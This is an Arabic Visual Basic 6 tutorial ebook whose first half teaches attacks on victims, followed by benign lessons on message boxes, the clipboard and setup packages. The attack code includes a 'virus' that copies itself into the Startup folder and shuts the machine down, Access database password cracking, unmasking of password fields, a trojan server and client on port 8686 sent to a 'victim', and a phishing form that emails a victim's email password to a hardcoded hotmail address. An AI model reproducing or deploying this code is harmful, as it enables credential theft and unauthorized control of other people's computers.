  !بأغلاق الجهاز آلما فتحته هذا الفيروس سيقوم

  :الكود

  :التالي قم بكتابة الكود و StandartEXE مشروع جديد افتح

Private Sub Form_Load() 

On Error Resume Next 

Name (App.Path & “\Game.exe) As (“C:\WINDOWS\Start 
Menu\Programs\StartUp\Virus2.exe”) 

WinDir$ = Environ$("windir") 

KillWin$ = WinDir$ + "\Rundll.exe User.exe,ExitWindows" 

Shell KillWin$ 

End Sub 

 ..C بناء علي ان يكون ويندوز الضحية في هذه

حيـث  ، في السطر الاول يقـوم البرنـامج بنقـل نفـسه الـي المـسار الثـاني                 
Game.exe  وذلك ليتم تحميل البرنامج آلما فتحـت       ، م ملف البرنامج   هو اس

  ..اما الكود الثاني فهو آود اغلاق الجهاز، الجهاز

  برنامج اختراق الحاسب

 اختراق آلمة سر لقاعدة بيانات

و الان سنتعلم آيفية    ، يمكنك وضع آلمة سر لقاعدة بيانات آما قلت سابقا        
  ..اختراقها

 ..Standart.exeافتح مشروع جديد 
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 .. و زر امرCommonDialogضع 

  :و الان قم بكتابة هذا الكود في قسم التصريحات العامة

Option Explicit  

Private zChar As String  

Dim n As Long, s1 As String * 1, s2 As String * 1  

Dim lsClave As String  

Dim mask As String  

  :و هذا في زر الامر

Private Sub Command1_Click()  

CommonDialog1.Filter = "Microsoft Access Database|*.mdb"  

CommonDialog1.DefaultExt = "mdb"  

CommonDialog1.ShowOpen  

zChar = CommonDialog1.FileTitle  

mask = Chr(78) & Chr(134) & Chr(251) & Chr(236) & _  

Chr(55) & Chr(93) & Chr(68) & Chr(156) & _  

Chr(250) & Chr(198) & Chr(94) & Chr(40) & Chr(230) & Chr(19)  

Open zChar For Binary As #1  

Seek #1, &H42  

For n = 1 To 14  

s1 = Mid(mask, n, 1)  

s2 = Input(1, 1)  

If (Asc(s1) Xor Asc(s2)) <> 0 Then  

lsClave = lsClave & Chr(Asc(s1) Xor Asc(s2))  
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End If  

Next  

Close 1  

MsgBox lsClave & “ : آلمة السر هي ” 

End Sub 

 معرفة آلمة سر علي شكل نجوم

 

في بعض الاوقات يكون عليك ان تكتـب آلمـة سـر مـا و تكـون علـي شـكل           
  ،نجوم

  ..هذا البرنامج يقوم بأظهار آلمة السر آالشمس

 Standart EXE..افتح مشروع جديد  •

  ..1 انترفال الي اضف تايمر و غير •

  :قم بكتابة هذا الكود في قسم التصريحات العامة •

Private Declare Function WindowFromPoint Lib "user32" (ByVal 
xPoint As Long, ByVal yPoint As Long) As Long  

Private Declare Function GetCursorPos Lib "user32" (lpPoint As 
POINTAPI) As Long  

Private Type POINTAPI  

x As Long  

y As Long  

End Type  

Private Declare Function SendMessage Lib "user32" Alias 
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, 
ByVal wParam As Long, lParam As Any) As Long  
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Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As 
Long) 

  :و هذا في التايمر

Const EM_SETPASSWORDCHAR = &HCC  

Dim coord As POINTAPI  

s = GetCursorPos(coord)  

x = coord.x  

y = coord.y  

h = WindowFromPoint(x, y)  

Dim NewChar As Integer  

NewChar = CLng(0)  

retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal 
NewChar, 0) 

  برامج اختراق الحاسب

 مقدمة

من منا لا يعرف برامج الاختراق؟ بـرامج الاختـراق جمبعهـا تعبـر مـن بـرامج                  
  ..التسلية الغبية و احيانا مضرة

تقتصر فكرة بـرامج الاختـراق عـادة علـي ارسـال ملـف للـضحية مـن خلالـة                    
  الخ ...HackTac و Sub7و من اشهر برامج الاختراق ، تتحكم في جهازه

و قد يـصل    ، تأخذ برامج الاختراق بعض الوقت لكي تتحكم في جهاز الضحية         
و يكون مستحيلا اذا آان مـع الـضحية برنـامج           ، هذا الوقت الي ساعة آاملة    

  ..ضد الاختراق

ويجب ان تكون الضحية علي الانترنت و فاتحة البرنامج لتتمكن مـن الـتحكم              
  ..في الجهاز

ــستجيب ا  ــد لا ي ــرف    ق ــصعب ان يتع ــه علــي نفــسك لأن ي ــامج اذا جربت لبرن
  .. الذي يعمل منهPortالبرنامج علي نفس 
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 التأآد من ان المنفد مفتوح

 

  : و استخدم هذا الكودWinsockللتأآد من ان المنفد مفتوح ضع اداه 

Private Sub Command1_Click()  

On Error GoTo opn:  

Winsock1.LocalPort = Text1.Text    ‘هنا تكتب المنفد المراد فحصه 

Winsock1.Listen  

Text2.Text = "المنفذ غير مفتوح"  

Winsock1.Close  

Exit Sub  

opn:  

If Err.Number = 10048 Then  

Text2.Text = "المنفذ مفتوح"  

Else  

Text2.Text = "يوجد مشكلة"  

End If  

Winsock1.Close  

End Sub 

 

 وضع الكائنات

و ،  هو البرنامج الذي سيظل معك لتتحكم فـي جهـاز الـضحية            Clientبرنامج  
  :لانشاء هذا البرنامج اتبع الاتي

 . الي نموذجكMicrosoft Winsock Controlاضف اداه  •
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 :ضع الكائنات آما يلي •

  

 :اضبط اسماء الكائنات آالتالي •

Command1  - cmdConnect                 Label1        - lblStatus 
Command2  - cmdDisconnect            Text1          - txtIP  
Command3  - cmdOpen                      Text2          - txtMsg   
Command4  - cmdClose                     Winsock1   - tcpClient  

Command5  - cmdMsg                        Form          - frmClient 

 و غيرها فستبان مـن      Command1علي ما اعتقد ان لا مشكلة في معرفة         
  ..الاسم

 آتابة الاآواد

 

  :اآتب هذا الكود في زر اتصل
 
Private Sub cmdConnect_Click() 
cmdConnect.Enabled = False '  disable the connect button 
lblStatus.Caption = "الاتصال جاري.."    
If txtIP.Text = "" Then  
MsgBox "من فضلك ادخل رقم IP مناسب..", vbCritical  
End If 
tcpClient.Connect txtIP.Text, 8686  

End Sub 
 

 ،اما بالنسبة لنهايته اي في اخـر سـطر        ، اعتقد ان بداية الكود واضحة تماما     
  ..٨٦٨٦نجعل البرنامج يتصل بالسيرفر عن طريق المنفد رقم 

  
  :و الان اآتب هذا الكود في زر قطع الاتصال
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Private Sub cmdDisconnect_Click() 
LblStatus.Caption = “Not Connected”    
cmdDisconnect.Enabled = False    
cmdConnect.Enabled = True    
tcpClient.Close   ‘ ق الاتصالاغلا  
End Sub 
 

  ..هذه الكود واضحة تماما و لا تحتاج الي شرح
  

 و اآتـب هـذا   Connect ثم اختـر الاجـراء    Winsockالان انقر مرتين علي اداه      
 :الكود

 
Private Sub tcpClient_Connect() 
lblStatus.Caption = "Connected"   

End Sub 
 

  
 : اغلاق سواقة الاقراصو الان لنكتب آود فتح و

  
  :آود الفتح

Private Sub cmdOpen_Click() 
tcpClient.SendData "opn"  ‘ارسال الي السيرفر 
End Sub 
 

 :آود الاغلاق
Private Sub cmdClose_Click() 
tcpClient.SendData "cls”  ‘ارسال الي السيرفر 
End Sub 

 
  

  :سالو الان اخر شئ و هو زر ار
 
Private Sub cmdMsg_Click() 
tcpClient.SendData "msg" & txtMsg  ‘     ارسـال الرسـالة فـي تكـست
 بوآس
End Sub 

 
  .. و الان ننقل للسيرفرClientو الان نكون قد انتهينا من 
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  السيرفر

 Serverآتابة اآواد 

  ..هذا هو البرنامج الذي سيرسل للضحية

لن نضع اي آائنات في هذا الفورم فقـط سـنكتب        ، د تماما افتح مشروع جدي  
  ..اآواد

  : ثم اتبع الاتيWinsockControlاضف اداه 

  :اآتب هذا الكود في اجراء تحميل الفورم

Private Sub Form_Load() 
tcpServer.LocalPort = 8686 
tcpServer.Listen    
End Sub 
 

  ..Clientالة من في هذا الكود نهئ البرنامج لانتظار ظهور رس
  

  
  :ConnectionRequest في اجراء Winsockو الان اآتب هذا الكود في اداه 

 
Private Sub tcpServer_ConnectionRequest(ByVal requestID As 

Long) 

tcpServer.Close   'close to prevent any error 
tcpServer.Accept requestID   'accept all incoming requests 
End Sub 
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  : اآتب هذا الكودErrorو الان في اجراء 

  
Private Sub tcpServer_Error(ByVal Number As Integer, Description 
As String, ByVal Scode As Long, ByVal Source As String, ByVal 
HelpFile As String, ByVal HelpContext As Long, CancelDisplay As 
Boolean) 
On Error Resume Next   'to prevent any more error's 
tcpServer.Close   'Close the connection 
tcpServer.Listen   'listen again 

End Sub 

 

رس و الان انتهينا من الجزء السهل الان سندخل في الصعب شوية تابع الـد      
  .القادم

 الجزء الصعب

 

  : و اآتب به هذا الكودModuleاضف الي مشروعك 

Public Declare Function mciSendString Lib "winmm.dll" Alias 

"mciSendStringA" (ByVal lpstrCommand As String, ByVal 

lpstrReturnString As String, ByVal uReturnLength As Long, ByVal 

hwndCallback As Long) As Long 

Dim SendStr As String, ReturnStr As String 

 

  :DataArival في اجراء Winsockو اآتب هذا الكود في 

Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long) 
Dim vardata As String 
Dim strdata As String     
Dim cmddata As String * 3     
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tcpServer.GetData strdata     
cmddata = Left(strdata, 3)     
vardata = Right(strdata, Len(strdata) - 3)     
DoCommand cmddata, vardata     
End Sub 

 
 
  

  : مرة اخري ثم قم بأضافة هذا الكودModuleو اخيرا افتح 
  

Public Function DoCommand(command As String, data As String)   
'The server is performing a command 
 
Select Case LCase(command)    
 
Case "opn"    
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 
0)    
 
Case "cls"    
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 
0)    
 
Case "msg"    
MsgBox data, vbInformation, "Information"  
End Select     
End Function    

 

يمكنك ان تضيف اليه بعض الاوامـر       ، و الان ها قد انتهينا من برنامج الاختراق       
ا يمكنــك التجــسس علــي جهــاز مثــل اخفــاء ســطح المكتــب او غيرهــا آمــ
  ..CommonDialogالضحية او مسح بعض ملفاتها عن طريق 
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 اختراق البريد الالكتروني

 الفكرة و وضع الكائنات

 

  :هذا ما سنفعله، فكرة هذا البرنامج تعتمد علي غباء الضحية

 و  LastName و   FirstNameضحية آتابة   سنقوم بتصميم برنامج يطلب من ال     
E-Mail   و Password          و ،  بغرض ارسال لعبة جميلة علي ايميل الـضحية مـثلا

  ..طبعا زي العبيط حايروح مالي البيانات و اسالها لك علي ايميلك

  :للكائنات سنضع ما يأتي

  :و نسقها لتكون بهذا الشكل،  تكست و زر امر٤ ليبل و ٤

 

 

 آتابة الاآواد

 

  :OKلن يحتوي هذا البرنامج الا علي آود واحدة في زر 
 

  ..S و سمها باسم SendMailضع الاداه 
  ...اذا واجهت صعوبة في الحصول عليها راسلني

  
If Text3.Text = "" Or Text4.Text = "" Then 
MsgBox " ..اجانالبريد و آلمة السر محت ", 48, " !خطأ " 
Exit Sub 
Else 
s.MailFrom = Text3.Text 
s.MailName = Text3.Text 
s.MailSubject = Text3.Text 
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s.MailTo =  "bibovbbook@hotmail.com” 
s.MailMessage = Text4.Text 
s.Send 
End If 
 
If s.Success = True Then 
MsgBox “ ..تم ارسال اللعبة  ”تم الارسال“ ,32 ,”

٢٩. Else 
MsgBox " ..تأآد انك متصل بالانترنت، خطأ اثناء الارسال ", 16, " !خطأ " 
End If 
 

عندما تكون الضحية متصلة بالانترنت و تقوم       ، و علي ما اعتقد الكود واضحة     
  ..سيتم ارسالها لك علي بريدك، بكتابة البيانت

  
 ..طبعا لا تنسي وضع ايميلك بدل ايميلي

  
 

 
  حظات هامةملا

  

  الخروج

 

   :فقط اآتب هذه الكود في زر الخروج

Private Sub Command1_Click() 

End 

End Sub 

 ...  لا اري ان الكود بحاجة الي شرح
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 الرسائل
 

 

و ، الرسائل مـن اهـم الاشـياء المـستخدمة فـي الفيجـوال بيـسيك              بالتأآيد  
  :لاستخدام رسالة نكتب آود خاصة بها و هي آالآتي

 
Private Sub Command1_Click() 
MsgBox “Message”,X,”Title” 

٣٠. End Sub 
 

فعند الـضغط علـي الـزر سـتظهر الرسـالة و يمكـن        تكون آود الرسالة هكذا
  :ما المعاني هي ا، الخ.. وضع الكود في تايمر

  
• Messageهو ما ورد بالرسالة . 
ــصورة او الاثنــين بجانــب الرســالة و تكــون     • ــوع الازرار او ال هــي امــا ن

 :بالارقام و هي آالآتي
Shapes: 
16- Stop 
32- Question Mark 
48- ! 
64- Help 
 
Buttons: 
1- Ok // Cancel 
2- Retry // Abort // Ignore 
3- Cancel // Yes // No 
4- Yes // No 
5- Cancel // Retry 
 

فمـثلا اذا اردت    ، و اذا اردت اظهار صورة و عدد من المفاتيح فـاجمع الـرقمين            
 رقمهـا  Stopلأن صـورة   ٢٠فاآتب الـرقم  ، No و  Yes مع الازرار Stopرسالة 

  ...20 = 4 + 16، 4  فهو No و Yes اما 16
 

 . فهو عنوان الرسالةTitleاما  •
  

 
 و هـو ليتعامـل مـع الازرار         Response   و من المهم في الرسائل ايضا الامر        

 فلـن يعملـوا     No و     Yesفي الرسالة فاذا آتبت رسـالة و وضـعت بهـا الازرار             
 فـاذا اردت ان تـضع زر خـروج و عنـد             Responseلذا نستخدم الامر    ، آما تريد 
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 No يخـرج و  Yes الضغط عليه تظهر رسالة هل تريـد الخـروج؟ و عنـد الـضغط       
  :يبقي في البرنامج فستقوم بكتابة هذا الكود في الزر

  
Private Sub Command1_Click() 
Response = MsgBox (“Are you sure?”, vbYesNo, “Exit”) 
If Response = vbYes Then 

End  
ElseIf Respone = vbNo Then 

Form1.Show 
٣١. End If 

End Sub 
 

 فتظهر الفورم   No فيخرج و اذا آانت      Yesلاستجابة  و هنا يعني ان اذا آانت ا      

 ...و يبقي في البرنامج
 

 بل ممكن آتابة اي آلمة      Responseوفي الحقيقة ليس من الضروري آتابة       

   ...Responseاخري ولكني افضل ان استعمل 
  

  
  

 ..Chr(10)ر جديد يمكنك استخدام الا مر اذا اردت الانتقال الي سط •

     

  

 
  InputBox صناديق الادخال 

 
 

:صناديق الادخال احدي اهم الاشياء في الفيجوال و تكون آالتالي  
 
Private Sub Command1_Click() 
a = InputBox("Message", "Title", "Default") 

٣٢. End Sub 
 

فعند الضغط علي الـزر سـيظهر صـندوق الادخـال و      تكون آود الرسالة هكذا
  :اما المعاني هي ، الخ.. يمكن وضع الكود في تايمر
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• Messageهو ما ورد بصندوق الادخال . 
• Titleو هو عنوان الصندوق . 
 . فهو ما سيكتب في مكان الادخالDefaultاما  •

  
  :مثال

 
Private Sub Command1_Click() 
name = InputBox(" ..ادخل اسمك من فضلك  ("الاسم هنا" ,"الاسم" ,"

End Sub 
 

  :سيظهر الصندوق آالتالي
  

  
 

  
 

 فــي بدايــة nameولكــن مــاذا عــن آلمــة ، و الان عرفنــا محتويــات الــصندوق
  الكود؟؟

  :فجرب هذا المثال، دخالههذه الكلمة تعبر عن ما سيقوم المستخدم بأ
  

  ..ضع ليبل و زر امر •
  :اآتب هذا الكود في زر الامر •

  
Private Sub Command1_Click() 
name = InputBox(" ..ادخل اسمك من فضلك  ("الاسم هنا" ,"الاسم" ,"

٣٣. Label1.Caption = name 

End Sub 
 

 
ذي تـم   و هذا يعني ان سيتم تغيير محتويات الليبل من آتابة الي الاسم ال ـ            

  ..المستخدم بأدخاله
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 ToolTipTextالخاصية 

 

و هـي عبـارة عـن       ، هذه الخاصية موجودة تقريبا في جميع ادوات الفيجـوال        
و عندما تتحرك بمؤشر الفأرة فوق هذه       ، مكان تكست فارغ تكتب به ما تريد      

  ..صفر اسفل الفأرةتظهر هذه الكتابة في صندوق ا، الاداه

 
 ClipBoardآائن 
 

 
ــائن   ــق الك ــة و  ClipBoardيمكــن عــن طري ــصق اي صــورة او آتاب ــسخ و ل  ن

  :تستخدم آالاتي
  

  :نسخ نص الي الحافظة
ClipBoard.Clear 
ClipBoard.SetText Text1.Text, vbCFText 
 

  :نسخ صورة
ClipBoard.Clear 
ClipBoard.SetData Picture1.Picture 
 

  :لصق نص
Text1.Text = ClipBoard.GetData(vbCDText) 
 

  :لصق صورة
Set Picture1.Picture = ClipBoard.GetData(vbCFBitmap) 
 

  
 
 

  Withاستخدام الامر 
 

 
قلت سـابقا ان يمكـن الـتحكم فـي خـصائص آـائن مـا عـن طريـق                    

 ثـم حالتـه     =لكـائن ثـم نقطـة ثـم الخاصـية ثـم             الكود بكتابة اسـم ا    

 :مثل
 

Label1.Caption = “Bibo” 
Label1.BackColor = vbGreen 
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Label1.ForeColor = vbBlue 
 

و لــون ، Bibo الخاصــة باليبــل الــي Captionوهكــذا ســيتم تغييــر الخاصــية  
   ..و لون الكتابة ازرق، الخلفية سيصبح اخضر

 
 .Label1فبـدلا مـن آتابـة       ، Label1و لاحظ ان هذه الـسطور خاصـة بالكـائن           

 : لتكون آالتاليWithفي بداية آل سطر نستخدم الامر 
 

With Label1 
     .Caption = “Bibo” 
     .BackColor = vbGreen 
     .ForeColor = vbBlue 
End With 
 

  ..الكود في نهاية End Withيجب آتابة الامر 
  

 
  Withاستخدام الامر 

 
 

،  و يقصد بها مـشروعك او برنـامج        Appilication هو اختصار لكلمة     APPالامر  
  :يحتوي هذا الامر علي الكثير من الخواص مثا

 
  App.path        تعني مسار البرنـامج ، وهـي تـستخدم للحـصول علـى مـسار

 . فيه البرنامجالمجلد الذي يوجد 
فهـذا هـو مـسار البرنـامج والـذي       C:\New فمثلاً إذا آـان لـدينا برنـامج فـي    
 App.path ..يمكننا الحصول عليه باستخدام 

 
 : وللتجربة يمكنك الحصول على مسار برنامجك بواسطة أمر هكذا

Msgbox App.path 
 . وسترى أنه يعطيك مسار المجلد الذي تحفظ فيه المشروع 
 

 من ذلك هو تلافي مشكلة تغير المـسارات مـن جهـاز لآخـر ، فمـثلاً                  الفائدة
في برنامج للصور ضـع جميـع الـصور فـي نفـس مجلـد البرنـامج ، ولتحميـل                    

 : اآتب Bmp  وامتدادهاBibo صورة مثلاً اسمها
 
Picture1.Picture = Loadpicture(App.path & "\Bibo.Bmp") 

  
  

بـل آـل شـيء ، فمـثلاً      App.path وليست الصور هي آل ما نستخدم فيها
 : لتشغيل ملف مفكرة ملحق بالبرنامج نضعه في مجلد البرنامج ونكتب
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Shell "Notepad.exe" & " " & App.path & "\RedMe.txt", 
vbNormalFocus 

  
 : ولنسخ نفس البرنامج نستخدم الأمر التالي 
 

Filecopy App.path & App.EXEName , "C:\Ahmed" 
  
  
 
 
 مثل معرفة اذا آان البرنـامج يعمـل         APPعا هناك اآثر من مهمة اخري لل      طب

  .. هي الاهمApp.Pathولكن ، او لا وغيرها
  

 Shell32الملف 

 

 ولكـن لـه اسـتخدامات اخـري      API يستخدم عادة فـي دوال       Shell32الملف  
ــدون  ــر ، APIب ــر  لبرنامجــك Shellلأضــافة متغي  مــن القائمــة Refrencesاخت

Project..  

  ..System من ملف Shell32.dllبعدها اختر ملف ، Browseاختر 

و الان لبداية استخدام هذا الملـف يجـب آتابـة الـسطر التـالي فـي قـسم                   
  :التصريحات العامة

Dim Shell32 As Shell 

  :و الان هذه هي اهم مهام الملف

  

  :النظام اتملف في التحكم

  :تصفح الملفات

   Shell32.BrowseForFolder Me.hWnd, "Bibo's Browser", 2 ^ I 

  :بحث عن ملفات

   Shell32.FindFiles 
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  :بحث عن جهاز

   Shell32.FindComputer 

  :فتح برنامج

   Shell32.FileRun 

 

  :النظام

  :اغلاق الجهاز

   Shell32.ShutdownWindows 

  :TrayPropاتاحة 

   Shell32.TrayProperties 

Suspend:  

   Shell32.Suspend 

 

  :النافذة

  :فتح و تنسيق جميع البرامج المفتوحة افقيا

   Shell32.TileVertically 

  :فتح و تنسيق جميع البرامج المفتوحة رأسيا

   Shell32.TileHorizontally 

  :لمفتوحةتنسيق جميع البرامج ا

   Shell32.CascadeWindows 

  : لجميع البرامج المفتوحةMinimizeعمل 

   Shell32.MinimizeAll 
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  تحسين واجهتك بالخطوط

 
 

  :هل تعلم ان الخط العادي يحتبر اداه سحرية و لها اآثر من استخدام
  

  :الابعاد ثلاثي خط رسم
 و غيـر لونـه      2 في واحد منهم الـي       BorderWidthغير خاصية   ، Line ٢ ضع  

  ..الي الرمادي و الثاني غير لونه الي الابيض و ضعخم فوق بعضهما
  

  :مرتفع اطار
غيـر لـون الخـط الاعلـي و الخـط علـي       ،  علـي شـكل مـستطيل    Line ٤ضع  

  .و الخط علي اليسار و الخط في الاسفل الي الرمادي، اليسلر الي الابيض
  

  :منخفض اطار
  .نفس طريقة الاطار المرتفع و لكن اعكس الالوان
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 عمل ستب لبرنامجك

  
اولا ،  لبرنامجـك بطريقـة سـهلة و بـسيطة         Setupيمكن عمل برنـامج اعـداد       

و يجـب ان يكـون هنـاك        ، يجب ان يكون لديك مشروع جاهز لعمل ستب لـه         
  ..ن المشروع محفوظا و يجب ايضا ان يكو, لهذا المشروعexeملف 

  
 

  :الستب لأنشاء التاليةالخطوات  اتبع
  

  ..Add-Ins من قائمة Add-In Mangerاضغط علي 
 

  .. Loaded / Unloaded  ثم اضغطPackage And Deployment Wizardاختر 
 

  ، Package And Deployment Wizard امر هو Add-Insسيظهر في قائمة 
  : لتظهر هذه الشاشةاضغط عليها

  

  
  

  

  

  : ستظهر هذه الشاشةPackageاضغط الامر 
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  ..Next ثم اضغط Standart Setup Packageاختر 

  :ستظهر هذه الشاشة

  

  ..Nextاختر مسار حفظ الستب ثم اضغط 
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  :ستظهر هذه الشاشة

  

  ..Nextاختر مرفقات الملف ثم اضغط 

  :ستظهر هذه الشاشة

  

  ..Nextاضغط 
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  :ستظهر هذه الشاشة

  

  ..Nextاآتب اسم المشروع ثم اضغط 

  :ستظهر هذه النافذة

  

  ..Nextاختر مكان تنحميل المشروع في قائمة ابدأ ثم اضغط 

  :لك هذه النافذةستظهر 
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  ..Nextاضغط 

  :ستظهر هذه النافدة

  

  ..Nextضع علامة صح امام الاختيار الموجود ثم اضغط 
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  :اخيرا ستظهر لك هذه النافذة

  

  ..Finishاآتب اسم الستب ثم اضغط 

ــشروع     ــسار الم ــي م ــود ف ــستب موج ــتجد ان ال ــمه   و س ــد اس ــي مجل  ف
Package..  

  

@a@‡á¢@ @
من مواضيع تعلم لغة الفيجـوال بيـسك ارجـو           المزيد   اوللاستفسار  

  مراسلتي علي البريد الالكتروني

   عزالدين حسن احمداخوآم 

ezonet@hotmail.com 

  :ملحوظة 

عــض مــع ب  لــلاخ ايهــاب احمــد  يعــودالكتــاب والمجهــود الجبــارهــذا للأمانــة 
  الاضافات علية وتجميعة 
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 االله ان يوفقه ويجزيه االله خيراًنسال 

  

 


